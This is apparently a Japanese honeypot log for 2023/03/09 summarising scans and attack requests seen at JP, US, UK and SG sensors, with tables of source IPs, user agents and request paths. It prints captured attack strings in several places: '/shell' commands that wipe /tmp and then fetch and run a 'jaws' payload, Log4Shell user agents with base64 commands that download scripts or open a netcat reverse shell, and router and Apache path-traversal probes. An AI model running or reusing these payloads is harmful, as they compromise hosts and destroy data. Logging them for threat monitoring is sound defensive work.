ハニーポット(仮) 観測記録 2023/03/09分です。
特徴
共通
CensysInspectによるスキャン行為
/.envへのスキャン行為
Location:JP
Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
.jsへのスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為
5.188.210.227に関する不正通信
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 45.77.243.49/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget 94.158.247.123/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget botbet.catbbos.fun/jaws; sh /tmp/jaws
Location:US
GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
Nmap Scripting Engineによるスキャン行為
zgrabによるスキャン行為
Apache Tomcatへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 94.158.247.123/jaws; sh /tmp/jaws
Location:UK
Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
zgrabによるスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 100.43.163.61/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget heylitimysun.top/jaws; sh /tmp/jaws
Location:SG
GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
curlによるスキャン行為
zgrabによるスキャン行為
.cssへのスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為
5.188.210.227に関する不正通信
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 100.43.163.61/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget 45.77.243.49/jaws; sh /tmp/jaws
他
アクセス数推移
JP：総アクセス数：137 (前日比：-59)
US：総アクセス数：71 (前日比：-248)
UK：総アクセス数：92 (前日比：-16)
SG：総アクセス数：226 (前日比：113)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Location:JP
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 3.15.172.157 | United States |
| 2 | 4.14.70.9 | United States |
| 1 | 5.188.210.227 | Russia |
| 1 | 20.228.190.236 | United States |
| 1 | 20.231.14.14 | United States |
| 1 | 20.238.44.69 | United States |
| 2 | 27.74.240.14 | Vietnam |
| 2 | 34.88.68.254 | United States |
| 6 | 35.89.40.60 | United States |
| 4 | 41.251.249.88 | Morocco |
| 17 | 43.154.141.71 | Singapore |
| 2 | 45.79.181.251 | United States |
| 1 | 45.134.140.161 | United Kingdom |
| 1 | 52.213.173.187 | United States |
| 1 | 52.253.113.5 | United States |
| 4 | 64.227.188.41 | United States |
| 2 | 67.205.189.62 | United States |
| 2 | 69.61.242.98 | United States |
| 1 | 86.105.31.16 | Spain |
| 4 | 95.214.235.205 | Ukraine |
| 1 | 103.173.157.229 | Vietnam |
| 1 | 103.178.229.8 | Vietnam |
| 5 | 104.149.163.117 | United States |
| 1 | 104.192.0.50 | United States |
| 2 | 109.237.97.180 | Russia |
| 2 | 109.237.98.226 | Russia |
| 1 | 111.11.89.155 | China |
| 4 | 116.107.242.204 | Vietnam |
| 4 | 118.201.94.238 | Singapore |
| 1 | 134.122.20.173 | United States |
| 8 | 135.125.244.48 | France |
| 6 | 135.125.246.110 | France |
| 1 | 137.184.156.136 | United States |
| 2 | 139.60.150.14 | United States |
| 4 | 157.230.56.28 | United States |
| 1 | 162.142.125.213 | United States |
| 1 | 162.142.125.217 | United States |
| 5 | 165.227.96.208 | United States |
| 1 | 167.94.138.118 | United States |
| 1 | 167.94.138.120 | United States |
| 1 | 172.104.11.4 | United States |
| 1 | 172.105.128.11 | United States |
| 1 | 172.105.128.12 | United States |
| 1 | 172.105.128.13 | United States |
| 4 | 178.128.244.216 | United States |
| 2 | 184.105.139.70 | United States |
| 3 | 185.254.196.115 | Ukraine |
| 2 | 190.213.155.143 | Trinidad and Tobago |
| 1 | 192.155.90.118 | United States |
| 1 | 192.155.90.220 | United States |
| 6 | 198.199.81.142 | United States |
| 2 | 202.73.34.226 | Singapore |
| 1 | 205.210.31.26 | United States |
| 1 | 206.189.229.227 | United States |
| 2 | 206.226.64.150 | United States |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 20 | - |
| 1 | Go-http-client/1.1 |
| 3 | Hello, world |
| 1 | Mozilla/5.0 (Linux; Android 10; SAMSUNG SM-N980F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/16.2 Chrome/92.0.4515.166 Mobile Safari/537.36 |
| 1 | Mozilla/5.0 (Linux; Android 8.0.0; LG-H870DS) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36 |
| 6 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 |
| 17 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36 |
| 3 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 |
| 2 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F |
| 54 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0 |
| 1 | Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 |
| 4 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/) |
| 2 | Mozilla/5.0 |
| 2 | python-requests/2.28.2 |
| 1 | t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//165[.]227[.]96[.]208:1389/GroovyBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2NS4yMjcuOTYuMjA4L3hmaWIuc2g7IGN1cmwgLU8gaHR0cDovLzE2NS4yMjcuOTYuMjA4L3hmaWIuc2g7IGNobW9kIDc3NyB4ZmliLnNoOyBzaCB4ZmliLnNo}') |
| 1 | t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//165[.]227[.]96[.]208:1389/GroovyBypass/Command/Base64/Y2QgL3RtcDsgY3VybCAtTyBodHRwOi8vMTY1LjIyNy45Ni4yMDgvZi5zaDsgd2dldCBodHRwOi8vMTY1LjIyNy45Ni4yMDgvZi5zaDsgY2htb2QgK3ggZi5zaDsgc2ggZi5zaA==}') |
| 1 | t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//165[.]227[.]96[.]208:1389/GroovyBypass/Command/Base64/Y2QgL3RtcDsgY3VybCAtTyBodHRwOi8vMTk4LjUwLjEzNS4xMDUvbmV3dzQ7IHdnZXQgaHR0cDovLzE5OC41MC4xMzUuMTA1L25ld3c0OyBjaG1vZCAreCBuZXd3NDsgLi9uZXd3NDsgcm0gLXJmIG5ld3c0OyBybSAtcmYgbmV3dzQuMQ==}') |
| 1 | t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//165[.]227[.]96[.]208:1389/GroovyBypass/Command/Base64/bmMgMTY1LjIyNy45Ni4yMDggNDQ0IC1lIC9iaW4vc2g=}') |
| 1 | t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//165[.]227[.]96[.]208:1389/GroovyBypass/Command/Base64/d2dldCBodHRwOi8vMTY1LjIyNy45Ni4yMDgvcy5zaDsgY2htb2QgK3ggcy5zaDsgc2ggcy5zaA==}') |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 2 | \x16\x03\x01\x01H\x01 |
||
| 16 | \x16\x03\x01 |
||
| 29 | GET | /.env |
HTTP/1.1 |
| 2 | GET | /.git/config |
HTTP/1.1 |
| 1 | GET | /__tests__/test-become/.env |
HTTP/1.1 |
| 1 | GET | /_profiler/empty/search/results |
HTTP/1.1 |
| 3 | GET | /_profiler/phpinfo |
HTTP/1.1 |
| 1 | GET | /api/.env |
HTTP/1.1 |
| 1 | GET | /api/index.php/v1/config/application?public=true |
HTTP/1.1 |
| 1 | GET | /apis/apps/v1/namespaces/kube-system/daemonsets |
HTTP/1.1 |
| 2 | GET | /app.js |
HTTP/1.1 |
| 1 | GET | /app/app.js |
HTTP/1.1 |
| 1 | GET | /app/index.js |
HTTP/1.1 |
| 1 | GET | /app/main.js |
HTTP/1.1 |
| 1 | GET | /backend/.env |
HTTP/1.1 |
| 1 | GET | /blog/.env |
HTTP/1.1 |
| 1 | GET | /blogs/.env |
HTTP/1.1 |
| 1 | GET | /client/.env |
HTTP/1.1 |
| 2 | GET | /client/get_targets |
HTTP/1.1 |
| 1 | GET | /conf/.env |
HTTP/1.1 |
| 1 | GET | /config.json |
HTTP/1.1 |
| 1 | GET | /core/.env |
HTTP/1.1 |
| 1 | GET | /debug/default/view?panel=config |
HTTP/1.1 |
| 5 | GET | /favicon.ico |
HTTP/1.1 |
| 1 | GET | /geoserver/web/ |
HTTP/1.1 |
| 1 | GET | /iOCpgcEGXN |
HTTP/1.1 |
| 1 | GET | /index.js |
HTTP/1.1 |
| 1 | GET | /main.js |
HTTP/1.1 |
| 1 | GET | /manager/html |
HTTP/1.1 |
| 1 | GET | /protected/.env |
HTTP/1.1 |
| 1 | GET | /proxy.js |
HTTP/1.1 |
| 1 | GET | /public/.env |
HTTP/1.1 |
| 1 | GET | /routes.js |
HTTP/1.1 |
| 1 | GET | /routes/index.js |
HTTP/1.1 |
| 5 | GET | /script |
HTTP/1.1 |
| 1 | GET | /server.js |
HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+45[.]77[.]243[.]49/jaws;sh+/tmp/jaws |
HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws |
HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+botbet[.]catbbos[.]fun/jaws;sh+/tmp/jaws |
HTTP/1.1 |
| 1 | GET | /sites/.env |
HTTP/1.1 |
| 2 | GET | /upl.php |
HTTP/1.1 |
| 1 | GET | /v3/time |
HTTP/1.1 |
| 1 | GET | /vendor/.env |
HTTP/1.1 |
| 1 | GET | /worker.js |
HTTP/1.1 |
| 1 | GET | /wp-admin/.env |
HTTP/1.1 |
| 2 | GET | /yuuki?pp=env |
HTTP/1.1 |
| 1 | GET | http[:]//5[.]188[.]210[.]227/echo.php |
HTTP/1.1 |
| 17 | HEAD | /Core/Skin/Login.aspx |
HTTP/1.1 |
| 1 | OPTIONS | / |
HTTP/1.0 |
| 1 | POST | /__tests__/test-become |
HTTP/1.1 |
| 1 | POST | /api |
HTTP/1.1 |
| 1 | POST | /backend |
HTTP/1.1 |
| 1 | POST | /blog |
HTTP/1.1 |
| 1 | POST | /blogs |
HTTP/1.1 |
| 1 | POST | /client |
HTTP/1.1 |
| 1 | POST | /conf |
HTTP/1.1 |
| 1 | POST | /core |
HTTP/1.1 |
| 1 | POST | /protected |
HTTP/1.1 |
| 1 | POST | /public |
HTTP/1.1 |
| 1 | POST | /sites |
HTTP/1.1 |
| 1 | POST | /vendor |
HTTP/1.1 |
| 1 | POST | /wp-admin |
HTTP/1.1 |
Location:US
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 20.228.190.236 | United States |
| 2 | 34.148.184.185 | United States |
| 1 | 45.33.80.243 | United States |
| 2 | 45.79.172.21 | United States |
| 1 | 45.79.181.179 | United States |
| 1 | 45.79.181.223 | United States |
| 1 | 45.134.140.161 | United Kingdom |
| 19 | 54.37.79.75 | France |
| 1 | 60.221.61.247 | China |
| 4 | 67.205.188.36 | United States |
| 3 | 92.118.39.82 | Romania |
| 2 | 95.214.27.107 | Bulgaria |
| 1 | 139.196.43.156 | China |
| 2 | 152.89.196.211 | Russia |
| 1 | 157.254.195.189 | United States |
| 2 | 162.142.125.211 | United States |
| 2 | 162.142.125.225 | United States |
| 1 | 172.104.11.4 | United States |
| 3 | 172.104.11.51 | United States |
| 2 | 172.105.128.13 | United States |
| 3 | 176.58.97.34 | United States |
| 2 | 184.105.247.195 | United States |
| 2 | 185.246.220.98 | Bulgaria |
| 8 | 185.254.196.223 | Ukraine |
| 1 | 198.98.52.214 | United States |
| 1 | 198.199.117.136 | United States |
| 1 | 198.235.24.18 | United States |
| 1 | 205.210.31.2 | United States |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 22 | - |
| 3 | Hello World |
| 1 | Hello, world |
| 1 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0 |
| 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 |
| 27 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 2 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
| 2 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/) |
| 1 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) |
| 2 | Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html) |
| 1 | Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.5(0x17000523) NetType/4G Language/zh_CN |
| 1 | Mozilla/5.0 zgrab/0.x |
| 1 | Mozilla/5.0 |
| 1 | python-requests/2.28.2 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 17 | \x16\x03\x01 |
||
| 1 | \x16\x03 |
||
| 29 | GET | /.env |
HTTP/1.1 |
| 1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
| 1 | GET | /DvAb |
HTTP/1.1 |
| 1 | GET | /EJfg |
HTTP/1.1 |
| 1 | GET | /actuator/gateway/routes |
HTTP/1.1 |
| 1 | GET | /api/index.php/v1/config/application?public=true |
HTTP/1.1 |
| 1 | GET | /apis/apps/v1/namespaces/kube-system/daemonsets |
HTTP/1.1 |
| 3 | GET | /cgi-bin/downloadFlile.cgi |
HTTP/1.1 |
| 1 | GET | /client/get_targets |
HTTP/1.1 |
| 1 | GET | /druid/index.html |
HTTP/1.1 |
| 3 | GET | /favicon.ico |
HTTP/1.1 |
| 1 | GET | /geoserver/web/ |
HTTP/1.1 |
| 1 | GET | /manager/html |
HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws |
HTTP/1.1 |
| 1 | GET | /upl.php |
HTTP/1.1 |
| 1 | GET | http[:]//us[.]vansto[.]net/verify.txt |
HTTP/1.1 |
| 1 | OPTIONS | / |
HTTP/1.0 |
| 2 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
| 2 | PRI | * |
HTTP/2.0 |
Location:UK
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 20.121.136.40 | United States |
| 1 | 20.228.190.236 | United States |
| 1 | 27.45.37.44 | China |
| 2 | 35.203.1.87 | United States |
| 1 | 39.104.27.100 | China |
| 2 | 45.79.172.21 | United States |
| 3 | 45.79.181.94 | United States |
| 1 | 45.79.181.179 | United States |
| 1 | 45.79.181.223 | United States |
| 1 | 45.79.181.251 | United States |
| 28 | 51.79.29.48 | Canada |
| 1 | 61.3.99.151 | India |
| 1 | 64.62.197.10 | United States |
| 1 | 64.62.197.16 | United States |
| 1 | 66.240.192.82 | United States |
| 4 | 68.183.36.246 | United States |
| 1 | 86.184.153.75 | United Kingdom |
| 4 | 92.118.39.82 | Romania |
| 2 | 109.237.97.180 | Russia |
| 2 | 111.229.178.205 | China |
| 1 | 145.239.157.190 | France |
| 2 | 152.89.196.211 | Russia |
| 1 | 154.209.125.10 | Seychelles |
| 1 | 162.243.149.13 | United States |
| 2 | 167.248.133.38 | United States |
| 1 | 172.104.11.34 | United States |
| 1 | 172.104.11.51 | United States |
| 1 | 172.105.89.161 | United States |
| 1 | 172.105.128.13 | United States |
| 2 | 183.136.225.5 | China |
| 4 | 185.142.236.40 | Seychelles |
| 1 | 185.225.74.55 | Bulgaria |
| 1 | 185.246.220.98 | Bulgaria |
| 8 | 185.254.196.223 | Ukraine |
| 1 | 192.155.90.118 | United States |
| 1 | 192.241.223.42 | United States |
| 2 | 194.28.112.140 | Moldova |
| 1 | 198.235.24.132 | United States |
| 1 | 205.210.31.20 | United States |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 32 | - |
| 4 | Hello World |
| 1 | Hello, World |
| 1 | Hello, world |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE |
| 2 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 |
| 38 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0 |
| 1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
| 1 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/) |
| 1 | Mozilla/5.0 zgrab/0.x |
| 1 | Mozilla/5.0 |
| 1 | python-requests/2.28.2 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 2 | - |
||
| 1 | MGLNDD_132.145.66.34_80\n |
||
| 2 | \x03 |
||
| 1 | \x16\x03\x01\x01H\x01 |
||
| 18 | \x16\x03\x01 |
||
| 39 | GET | /.env |
HTTP/1.1 |
| 1 | GET | /.git/HEAD |
HTTP/1.1 |
| 1 | GET | /.well-known/security.txt |
HTTP/1.1 |
| 1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
| 1 | GET | /actuator/gateway/routes |
HTTP/1.1 |
| 1 | GET | /boaform/admin/formLogin?username=ec8&psd=ec8 |
HTTP/1.0 |
| 4 | GET | /cgi-bin/downloadFlile.cgi |
HTTP/1.1 |
| 1 | GET | /client/get_targets |
HTTP/1.1 |
| 1 | GET | /druid/index.html |
HTTP/1.1 |
| 4 | GET | /favicon.ico |
HTTP/1.1 |
| 1 | GET | /geoserver/web/ |
HTTP/1.1 |
| 1 | GET | /index.php |
HTTP/1.1 |
| 1 | GET | /phpmyadmin/index.php |
HTTP/1.1 |
| 2 | GET | /robots.txt |
HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ 100.43.163.61/jaws;sh+/tmp/jaws |
|
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+heylitimysun[.]top/jaws;sh+/tmp/jaws |
HTTP/1.1 |
| 1 | GET | /sitemap.xml |
HTTP/1.1 |
| 1 | GET | /upl.php |
HTTP/1.1 |
| 1 | OPTIONS | / |
HTTP/1.0 |
| 1 | POST | /GponForm/diag_Form?images/ |
HTTP/1.1 |
| 1 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
| 1 | POST | /cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh |
HTTP/1.1 |
| 1 | PRI | * |
HTTP/2.0 |
Location:SG
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 2 | 4.17.224.134 | United States |
| 1 | 5.188.210.227 | Russia |
| 3 | 20.231.126.134 | United States |
| 2 | 34.65.12.181 | United States |
| 1 | 39.104.27.100 | China |
| 1 | 45.62.170.16 | United States |
| 2 | 45.79.128.205 | United States |
| 3 | 45.79.172.21 | United States |
| 2 | 45.79.181.104 | United States |
| 1 | 45.79.181.223 | United States |
| 1 | 45.79.181.251 | United States |
| 19 | 54.37.79.75 | France |
| 2 | 63.214.171.26 | United States |
| 2 | 64.85.173.196 | United States |
| 3 | 92.118.39.82 | Romania |
| 1 | 92.255.85.183 | Hong Kong |
| 2 | 95.214.27.107 | Bulgaria |
| 1 | 103.162.28.187 | Vietnam |
| 1 | 104.236.128.10 | United States |
| 1 | 107.170.247.22 | United States |
| 2 | 109.237.97.180 | Russia |
| 2 | 109.237.98.226 | Russia |
| 2 | 129.146.203.195 | United States |
| 2 | 139.60.150.14 | United States |
| 144 | 139.162.7.59 | Netherlands |
| 2 | 152.89.196.211 | Russia |
| 2 | 162.142.125.221 | United States |
| 1 | 164.92.159.30 | United States |
| 3 | 170.64.166.93 | United States |
| 1 | 172.104.11.34 | United States |
| 1 | 183.100.254.121 | South Korea |
| 2 | 184.105.247.195 | United States |
| 2 | 185.246.220.98 | Bulgaria |
| 2 | 188.119.51.126 | Turkey |
| 1 | 192.155.90.118 | United States |
| 1 | 192.155.90.220 | United States |
| 2 | 202.73.34.226 | Singapore |
| 1 | 205.210.31.22 | United States |
| 2 | 216.163.200.22 | United States |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 27 | - |
| 3 | Hello World |
| 1 | Hello, world |
| 2 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0 |
| 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 |
| 35 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0 |
| 2 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
| 1 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/) |
| 1 | Mozilla/5.0 zgrab/0.x |
| 143 | curl/7.54.0 |
| 3 | python-requests/2.28.1 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | MGLNDD_13.67.44.234_80 |
||
| 1 | \x03 |
||
| 2 | \x16\x03\x01\x01H\x01 |
||
| 1 | \x16\x03\x01\x02 |
||
| 17 | \x16\x03\x01 |
||
| 23 | GET | /.env |
HTTP/1.1 |
| 2 | GET | /.git/HEAD |
HTTP/1.1 |
| 1 | GET | /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 |
HTTP/1.1 |
| 1 | GET | /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 |
HTTP/1.1 |
| 1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
| 1 | GET | /CSS/Miniweb.css |
HTTP/1.1 |
| 1 | GET | /HNAP1 |
HTTP/1.1 |
| 1 | GET | /Portal/Portal.mwsl |
HTTP/1.1 |
| 1 | GET | /Portal0000.htm |
HTTP/1.1 |
| 1 | GET | /__Additional |
HTTP/1.1 |
| 1 | GET | /_profiler/phpinfo |
HTTP/1.1 |
| 1 | GET | /actuator/gateway/routes |
HTTP/1.1 |
| 1 | GET | /admin.asp |
HTTP/1.1 |
| 1 | GET | /admin.aspx |
HTTP/1.1 |
| 1 | GET | /admin.cfm |
HTTP/1.1 |
| 1 | GET | /admin.cgi |
HTTP/1.1 |
| 1 | GET | /admin.html |
HTTP/1.1 |
| 1 | GET | /admin.jhtml |
HTTP/1.1 |
| 1 | GET | /admin.jsa |
HTTP/1.1 |
| 1 | GET | /admin.jsp |
HTTP/1.1 |
| 1 | GET | /admin.php |
HTTP/1.1 |
| 1 | GET | /admin.pl |
HTTP/1.1 |
| 1 | GET | /admin.shtml |
HTTP/1.1 |
| 1 | GET | /api/index.php/v1/config/application?public=true |
HTTP/1.1 |
| 1 | GET | /app/.env |
HTTP/1.1 |
| 1 | GET | /base.asp |
HTTP/1.1 |
| 1 | GET | /base.aspx |
HTTP/1.1 |
| 1 | GET | /base.cfm |
HTTP/1.1 |
| 1 | GET | /base.cgi |
